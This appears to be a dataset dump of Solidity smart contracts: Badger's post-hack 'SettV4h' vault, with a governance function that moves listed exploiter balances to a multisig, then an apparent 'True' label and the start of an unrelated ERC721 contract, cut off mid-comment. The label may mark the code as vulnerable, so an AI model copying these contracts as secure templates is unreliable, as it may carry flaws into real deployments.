* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: ContextUpgradeable
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// Part: SafeERC20Upgradeable
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: SettAccessControl
/*
Common base for permissioned roles throughout Sett ecosystem
*/
contract SettAccessControl is Initializable {
address public governance;
address public strategist;
address public keeper;
// ===== MODIFIERS =====
function _onlyGovernance() internal view {
require(msg.sender == governance, "onlyGovernance");
}
function _onlyGovernanceOrStrategist() internal view {
require(msg.sender == strategist || msg.sender == governance, "onlyGovernanceOrStrategist");
}
function _onlyAuthorizedActors() internal view {
require(msg.sender == keeper || msg.sender == governance, "onlyAuthorizedActors");
}
// ===== PERMISSIONED ACTIONS =====
/// @notice Change strategist address
/// @notice Can only be changed by governance itself
function setStrategist(address _strategist) external {
_onlyGovernance();
strategist = _strategist;
}
/// @notice Change keeper address
/// @notice Can only be changed by governance itself
function setKeeper(address _keeper) external {
_onlyGovernance();
keeper = _keeper;
}
/// @notice Change governance address
/// @notice Can only be changed by governance itself
function setGovernance(address _governance) public {
_onlyGovernance();
governance = _governance;
}
uint256[50] private __gap;
}
// Part: ERC20Upgradeable
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// Part: PausableUpgradeable
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
* @notice we override in Sett Contract
*/
modifier whenNotPaused() virtual {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// Part: SettAccessControlDefended
/*
Add ability to prevent unwanted contract access to Sett permissions
*/
contract SettAccessControlDefended is SettAccessControl {
mapping (address => bool) public approved;
function approveContractAccess(address account) external {
_onlyGovernance();
approved[account] = true;
}
function revokeContractAccess(address account) external {
_onlyGovernance();
approved[account] = false;
}
function _defend() internal view returns (bool) {
require(approved[msg.sender] || msg.sender == tx.origin, "Access denied for caller");
}
uint256[50] private __gap;
}
// File: SettV4h.sol
/*
Source: https://github.com/iearn-finance/yearn-protocol/blob/develop/contracts/vaults/yVault.sol
Changelog:
V1.1
* Strategist no longer has special function calling permissions
* Version function added to contract
* All write functions, with the exception of transfer, are pausable
* Keeper or governance can pause
* Only governance can unpause
V1.2
* Transfer functions are now pausable along with all other non-permissioned write functions
* All permissioned write functions, with the exception of pause() & unpause(), are pausable as well
V1.3
* Add guest list functionality
* All deposits can be optionally gated by external guestList approval logic on set guestList contract
V1.4
* Add depositFor() to deposit on the half of other users. That user will then be blockLocked.
*/
contract SettV4h is ERC20Upgradeable, SettAccessControlDefended, PausableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
address constant public MULTISIG = 0x9faA327AAF1b564B569Cb0Bc0FDAA87052e8d92c;
IGac public constant GAC = IGac(0x9c58B0D88578cd75154Bdb7C8B013f7157bae35a); // Set in initializer because of tests is unchangeable (because contract is upgradeable)
IERC20Upgradeable public token;
uint256 public min;
uint256 public constant max = 10000;
address public controller;
mapping(address => uint256) public blockLock;
string internal constant _defaultNamePrefix = "Badger Sett ";
string internal constant _symbolSymbolPrefix = "b";
address public guardian;
BadgerGuestListAPI public guestList;
event FullPricePerShareUpdated(uint256 value, uint256 indexed timestamp, uint256 indexed blockNumber);
modifier whenNotPaused() override {
require(!paused(), "Pausable: paused");
require(!GAC.paused(), "Pausable: GAC Paused");
_;
}
function initialize(
address _token,
address _controller,
address _governance,
address _keeper,
address _guardian,
bool _overrideTokenName,
string memory _namePrefix,
string memory _symbolPrefix
) public initializer whenNotPaused {
IERC20Detailed namedToken = IERC20Detailed(_token);
string memory tokenName = namedToken.name();
string memory tokenSymbol = namedToken.symbol();
string memory name;
string memory symbol;
if (_overrideTokenName) {
name = string(abi.encodePacked(_namePrefix, tokenName));
symbol = string(abi.encodePacked(_symbolPrefix, tokenSymbol));
} else {
name = string(abi.encodePacked(_defaultNamePrefix, tokenName));
symbol = string(abi.encodePacked(_symbolSymbolPrefix, tokenSymbol));
}
__ERC20_init(name, symbol);
token = IERC20Upgradeable(_token);
governance = _governance;
strategist = address(0);
keeper = _keeper;
controller = _controller;
guardian = _guardian;
min = 9500;
emit FullPricePerShareUpdated(getPricePerFullShare(), now, block.number);
// Paused on launch
_pause();
}
/// ===== Modifiers =====
function _onlyController() internal view {
require(msg.sender == controller, "onlyController");
}
function _onlyAuthorizedPausers() internal view {
require(msg.sender == guardian || msg.sender == governance, "onlyPausers");
}
function _blockLocked() internal view {
require(blockLock[msg.sender] < block.number, "blockLocked");
}
function _blacklisted(address _account) internal view {
require(!GAC.isBlacklisted(_account), "blacklisted");
}
/// ===== View Functions =====
function version() public view returns (string memory) {
return "1.4h - Hack Amended";
}
function getPricePerFullShare() public virtual view returns (uint256) {
if (totalSupply() == 0) {
return 1e18;
}
return balance().mul(1e18).div(totalSupply());
}
/// @notice Return the total balance of the underlying token within the system
/// @notice Sums the balance in the Sett, the Controller, and the Strategy
function balance() public virtual view returns (uint256) {
return token.balanceOf(address(this)).add(IController(controller).balanceOf(address(token)));
}
/// @notice Defines how much of the Setts' underlying can be borrowed by the Strategy for use
/// @notice Custom logic in here for how much the vault allows to be borrowed
/// @notice Sets minimum required on-hand to keep small withdrawals cheap
function available() public virtual view returns (uint256) {
return token.balanceOf(address(this)).mul(min).div(max);
}
/// ===== Public Actions =====
/// @notice Deposit assets into the Sett, and return corresponding shares to the user
/// @notice Only callable by EOA accounts that pass the _defend() check
function deposit(uint256 _amount) public whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_depositWithAuthorization(_amount, new bytes32[](0));
}
/// @notice Deposit variant with proof for merkle guest list
function deposit(uint256 _amount, bytes32[] memory proof) public whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_depositWithAuthorization(_amount, proof);
}
/// @notice Convenience function: Deposit entire balance of asset into the Sett, and return corresponding shares to the user
/// @notice Only callable by EOA accounts that pass the _defend() check
function depositAll() external whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_depositWithAuthorization(token.balanceOf(msg.sender), new bytes32[](0));
}
/// @notice DepositAll variant with proof for merkle guest list
function depositAll(bytes32[] memory proof) external whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_depositWithAuthorization(token.balanceOf(msg.sender), proof);
}
/// @notice Deposit assets into the Sett, and return corresponding shares to the user
/// @notice Only callable by EOA accounts that pass the _defend() check
function depositFor(address _recipient, uint256 _amount) public whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_blacklisted(_recipient);
_lockForBlock(_recipient);
_depositForWithAuthorization(_recipient, _amount, new bytes32[](0));
}
/// @notice Deposit variant with proof for merkle guest list
function depositFor(
address _recipient,
uint256 _amount,
bytes32[] memory proof
) public whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_blacklisted(_recipient);
_lockForBlock(_recipient);
_depositForWithAuthorization(_recipient, _amount, proof);
}
/// @notice No rebalance implementation for lower fees and faster swaps
function withdraw(uint256 _shares) public whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_withdraw(_shares);
}
/// @notice Convenience function: Withdraw all shares of the sender
function withdrawAll() external whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_withdraw(balanceOf(msg.sender));
}
/// ===== Permissioned Actions: Governance =====
function setGuestList(address _guestList) external whenNotPaused {
_onlyGovernance();
guestList = BadgerGuestListAPI(_guestList);
}
/// @notice Set minimum threshold of underlying that must be deposited in strategy
/// @notice Can only be changed by governance
function setMin(uint256 _min) external whenNotPaused {
_onlyGovernance();
min = _min;
}
/// @notice Change controller address
/// @notice Can only be changed by governance
function setController(address _controller) public whenNotPaused {
_onlyGovernance();
controller = _controller;
}
/// @notice Change guardian address
/// @notice Can only be changed by governance
function setGuardian(address _guardian) external whenNotPaused {
_onlyGovernance();
guardian = _guardian;
}
/// ===== Permissioned Actions: Controller =====
/// @notice Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
/// @notice Only controller can trigger harvests
function harvest(address reserve, uint256 amount) external whenNotPaused {
_onlyController();
require(reserve != address(token), "token");
IERC20Upgradeable(reserve).safeTransfer(controller, amount);
}
/// ===== Permissioned Functions: Trusted Actors =====
/// @notice Transfer the underlying available to be claimed to the controller
/// @notice The controller will deposit into the Strategy for yield-generating activities
/// @notice Permissionless operation
function earn() public whenNotPaused {
_onlyAuthorizedActors();
uint256 _bal = available();
token.safeTransfer(controller, _bal);
IController(controller).earn(address(token), _bal);
}
/// @dev Emit event tracking current full price per share
/// @dev Provides a pure on-chain way of approximating APY
function trackFullPricePerShare() external whenNotPaused {
_onlyAuthorizedActors();
emit FullPricePerShareUpdated(getPricePerFullShare(), now, block.number);
}
function pause() external {
_onlyAuthorizedPausers();
_pause();
}
function unpause() external {
_onlyGovernance();
_unpause();
}
/// ===== Internal Implementations =====
/// @dev Calculate the number of shares to issue for a given deposit
/// @dev This is based on the realized value of underlying assets between Sett & associated Strategy
// @dev deposit for msg.sender
function _deposit(uint256 _amount) internal {
_depositFor(msg.sender, _amount);
}
function _depositFor(address recipient, uint256 _amount) internal virtual {
uint256 _pool = balance();
uint256 _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint256 shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(recipient, shares);
}
function _depositWithAuthorization(uint256 _amount, bytes32[] memory proof) internal virtual {
if (address(guestList) != address(0)) {
require(guestList.authorized(msg.sender, _amount, proof), "guest-list-authorization");
}
_deposit(_amount);
}
function _depositForWithAuthorization(
address _recipient,
uint256 _amount,
bytes32[] memory proof
) internal virtual {
if (address(guestList) != address(0)) {
require(guestList.authorized(_recipient, _amount, proof), "guest-list-authorization");
}
_depositFor(_recipient, _amount);
}
// No rebalance implementation for lower fees and faster swaps
function _withdraw(uint256 _shares) internal virtual {
uint256 r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint256 b = token.balanceOf(address(this));
if (b < r) {
uint256 _toWithdraw = r.sub(b);
IController(controller).withdraw(address(token), _toWithdraw);
uint256 _after = token.balanceOf(address(this));
uint256 _diff = _after.sub(b);
if (_diff < _toWithdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function _lockForBlock(address account) internal {
blockLock[account] = block.number;
}
/// ===== ERC20 Overrides =====
/// @dev Add blockLock to transfers, users cannot transfer tokens in the same block as a deposit or withdrawal.
function transfer(address recipient, uint256 amount) public virtual override whenNotPaused returns (bool) {
_blockLocked();
_blacklisted(msg.sender);
_blacklisted(recipient);
return super.transfer(recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override whenNotPaused returns (bool) {
_blockLocked();
_blacklisted(msg.sender);
_blacklisted(sender);
_blacklisted(recipient);
require(!GAC.transferFromDisabled(), "transferFrom: GAC transferFromDisabled");
return super.transferFrom(sender, recipient, amount);
}
function patchBalances() external {
_onlyGovernance();
address payable[11] memory EXPLOITER_ADDRESS = [
0x1FCdb04d0C5364FBd92C73cA8AF9BAA72c269107,
0xa33B95ea28542Ada32117B60E4F5B4cB7D1Fc19B,
0x4fbf7701b3078B5bed6F3e64dF3AE09650eE7DE5,
0x1B1b391D1026A4e3fB7F082ede068B25358a61F2,
0xEcD91D07b1b6B81d24F2a469de8e47E3fe3050fd,
0x691dA2826AC32BBF2a4b5d6f2A07CE07552A9A8E,
0x91d65D67FC573605bCb0b5E39F9ef6E18aFA1586,
0x0B88A083dc7b8aC2A84eBA02E4acb2e5f2d3063C,
0x2eF1b70F195fd0432f9C36fB2eF7C99629B0398c,
0xbbfD8041EbDE22A7f3e19600B4bab4925Cc97f7D,
0xe06eD65924dB2e7b4c83E07079A424C8a36701E5
];
uint256 length = EXPLOITER_ADDRESS.length;
for(uint i; i < length; i++){
address exploiter = EXPLOITER_ADDRESS[i];
uint256 amount = balanceOf(exploiter);
if(amount > 0) {
super._transfer(exploiter, MULTISIG, amount);
}
}
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
